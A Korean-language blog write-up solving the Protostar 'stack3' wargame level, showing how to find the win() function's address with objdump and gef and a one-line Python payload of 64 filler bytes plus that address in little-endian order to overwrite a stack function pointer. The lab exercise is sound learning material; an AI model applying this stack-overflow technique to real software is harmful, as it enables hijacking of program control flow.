About
Stack3 looks at environment variables, and how they can be set,
and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)
Hints
both gdb and objdump is your friend you determining where the win() function lies in memory.
This level is at /opt/protostar/bin/stack3
Point
- 이전 문제와 비슷하다.
- 다른점은 환경변수가 아닌 사용자 입력 값을 버퍼에 덮어 씌울때를 악용하여
다음에 실행될 명령어(PC)의 값을 수정하는 것이다.
함수 위치 파악
1.objdump를 통해 함수의 위치를 찾거나
>objdump -t stack3
0001047c g F .text 00000018 win
2.gef에서 함수명을 디스어셈블해서 시작위치를 확인할 수 있다.
gef> disassemble win
Dump of assembler code for function win:
0x0001047c <+0>: push {r11, lr}
0x00010480 <+4>: add r11, sp, #4
0x00010484 <+8>: ldr r0, [pc, #4] ; 0x10490 <win+20>
0x00010488 <+12>: bl 0x10324
0x0001048c <+16>: pop {r11, pc}
0x00010490 <+20>: andeq r0, r1, r0, ror #10
3. print <함수명> 입력을 통해서도 확인이 가능하다.
gef> p win
$5 = {<text variable, no debug info>} 0x1047c <win>
패턴 찾아서 리틀엔디안 방식으로 붙여주면 성공.
이부분도 패턴 offset을 확인해 봤으나 littel-endian search 방식이 이해가 안간다.
서칭방식은 CPU엔디안 방식이랑 관련이 없는 것으로 보인다.
그래서 offset을 구하는 것은 그냥 (bing-endian search)로 확인해서 입력하면 될 것 같다.
r `python -c "print 'A'*64+'\x7c\x04\x01\x00'"`
'리버싱CTF > Protostar' 카테고리의 다른 글
Stack5 (Success) (0) | 2020.01.01 |
---|---|
Stack5(Fail) (0) | 2020.01.01 |
Stack4 (0) | 2020.01.01 |
Stack2 (0) | 2020.01.01 |
Stack1 (0) | 2019.12.29 |